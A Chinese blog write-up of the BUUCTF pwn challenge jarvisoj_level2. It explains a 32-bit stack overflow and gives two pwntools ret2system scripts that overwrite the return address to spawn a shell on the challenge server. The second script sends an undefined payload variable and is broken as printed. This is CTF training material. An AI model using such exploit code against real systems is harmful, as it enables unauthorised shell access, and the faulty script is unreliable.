首页 > 其他分享 >buuctf.pwn.jarvisoj_level2

buuctf.pwn.jarvisoj_level2

时间:2023-04-04 11:58:01浏览次数:63  
标签:bin jmp p32 system jarvisoj level2 sh call pwn

这个题目,是缓冲区溢出

检测一下

No canary found : 可以看出没有栈保护

NO PIE: 没有地址随机化

然后分析题目

这一次我在网上看到了不同的解法,但是基本思路是一致的

主要看一下这个溢出

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 256u);
}

可溢出的长度是256字节

然后我们能一般构造的长度是0x88+4+...

也就是差不多我们输入的字节数是140,距离256还是差很远的距离

所以我们就快乐的溢出吧

然乎本题目刚好有一些为我们提前准备好的条件

system 的jmp
system 的call
system 在libc的地址指向
/bin/sh 在libc的地址指向

修改rip到call system的时候

于是我们对栈的构造就是

ESP+0: /bin/sh字符串地址

当 call system 后

ESP+0: 返回的RIP
ESP+4: /bin/sh字符串地址
from pwn import*
host='node4.buuoj.cn'
port=29279
p=remote(host,port)
#p=process('./level2')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
call_system=0x0804849E # system的call
p.recvuntil('Input:\n')
payload_call_system=b'\0'*(0x88+4)+p32(call_system)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()

如果我们去call system的话

直接去往 jmp system

那么我们的堆栈应该保持一致

也就是提前的对返回的rip做一个填充

ESP+0: 一个对RIP的填充为0
ESP+4: /bin/sh字符串地址
from pwn import*
host='node4.buuoj.cn'
port=29279
p=remote(host,port)
#p=process('./level2')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
jmp_system=0x08048320  # system的jmp
ret_padding=0
p.recvuntil('Input:\n')
payload_jmp_system=b'\0'*(0x88+4)+p32(jmp_system)+p32(ret_padding)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()

标签:bin,jmp,p32,system,jarvisoj,level2,sh,call,pwn
From: https://www.cnblogs.com/re4mile/p/17285925.html

相关文章

  • [BUUCTF]PWN-bjdctf_2020_babystack2
          这题比较简单,注意无符号字符串变为负数之后会发生溢出即可pro.symbols是输出函数地址的意思r.recvuntil的使用是接收到字符串为止,然后将接受的数据返回为什么会有两个payload是因为我想使用这种方式看看行不行为什么是0x10,是因为main函数里不能大于10......
  • pwn刷题笔记
    做几道pwn题,不使用ida的反汇编功能。 buuoj:ciscn_2019_n_1检查保护机制,只开启了数据段不可执行 ida查看main函数汇编代码 根据汇编代码写出main函数的反汇编代码setvbuf(cs:__bss_start,0,2,0);servbuf(cs:stdin@@GLIBC_2_2_5,0,2,0);func();return;......
  • [BUUCTF]pwn-jarvisoj_fm
     32位程序,开了NX和Canary,放入ida分析  查看system函数/bin/sh函数,看看可不可以ret2libc  第10行存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4x_......
  • pwn学习笔记-ROP和hijack GOT
    前情提要修改返回地址,让其指向溢出数据中的一段指令(shellcode)修改返回地址,让其指向内存中已有的某个函数(return2libc)修改返回地址,让其指向内存中已有的一段指令(ROP)修......
  • pwn学习笔记-栈溢出
    背景知识 函数调用栈函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息。包括函数参数与局部变量等。称之为栈是因为在函数调用时,调用函数的......
  • buuctf.pwn.ciscn_2019_n_1
    检测开启了栈不可执行的检测然后拖进IDA分析比较赤裸注意到,我们输入的是num1,但是比较的是num2所以我们需要把num1溢出到num2比较幸运的是,num1在num2的上方(空间......
  • Vulnhub:pWnOS 2.0靶机
    kali:192.168.111.111靶机:192.168.111.235信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.235访问网站blog目录在源码处发现cms信息为:Si......
  • pwn做题技巧
    Canary对抗canary策略1,泄露canary值2,泄露fs:28H内的值3,覆写fs:28H副本值4,劫持stack_chk_fail5,stacksmashing6,逐字节爆破(BROPgadget,相对限制多)GOT(globaloffsett......
  • BUU pwn jarvisoj_level2_x64 64位函数调用栈
    jarvisoj_level2_x64文件是64位ELF文件IDA查看函数vuln,明显栈溢出查看字符串,发现存在'/bin/sh',地址为0x600A90查看函数,发现存在system函数,地址为0x4004c0。注意不能......
  • jarvisoj_guestbook2
    jarvisoj_guestbook2学完最新的几个house系列感觉基础不太好就在学习一下栈堆,程序分析就是一个菜单题,有一个uaf,版本是2.23,而且可以修改got表,就打一个unlink,修改atoi的g......